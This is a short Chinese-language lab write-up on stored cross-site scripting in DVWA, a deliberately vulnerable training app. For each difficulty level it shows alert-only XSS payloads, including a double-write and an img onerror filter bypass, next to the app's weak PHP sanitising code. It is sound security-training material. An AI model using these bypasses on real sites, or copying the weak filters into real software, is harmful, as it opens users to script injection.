something about DVWA - XSS(Stored)
DVWA
XSS(Stored)
XSS是跨站脚本攻击Cross-site scripting。
Stored
类型是 存储型 的XSS
攻击,此类型的XSS
保存在目标服务器上,用户每次访问都会被攻击。
Low
手动测试
直接在内容中输入恶意内容后提交。
1
<script>alert("bad");</script>
源码分析
- 将参数内容存储到DB中
使用
stripslashes()
和mysqli_real_escape_string()
函数,转义特殊字符。1
2// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
Medium
手动测试
对
name
进行注入。采用双写绕过过滤。注入内容:
1
<script<script>>alert('bad');</script>
源码分析
对
message
内容去除html
标签使用
strip_tags()
去除html
标签。1
2// Sanitize message input
$message = strip_tags( addslashes( $message ) );对
name
过滤<script>
标签1
2// Sanitize name input
$name = str_replace( '<script>', '', $name );
High
手动测试
- 采用
<img/>
标签
对
name
注入<img onerror=""/>
。1
<img src="1" onerror="alert('bad');" />
- 采用
源码分析
- 使用正则的方式过滤
<script>
标签
1
2// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );- 使用正则的方式过滤
Impossible
源码分析
去除参数中的
\
使用
stripslashes()
去除字符串中的\
字符。转义特殊字符
使用
mysqli_real_escape_string()
函数转义特殊字符。预编译
SQL
执行使用
PDO
的方式执行SQL。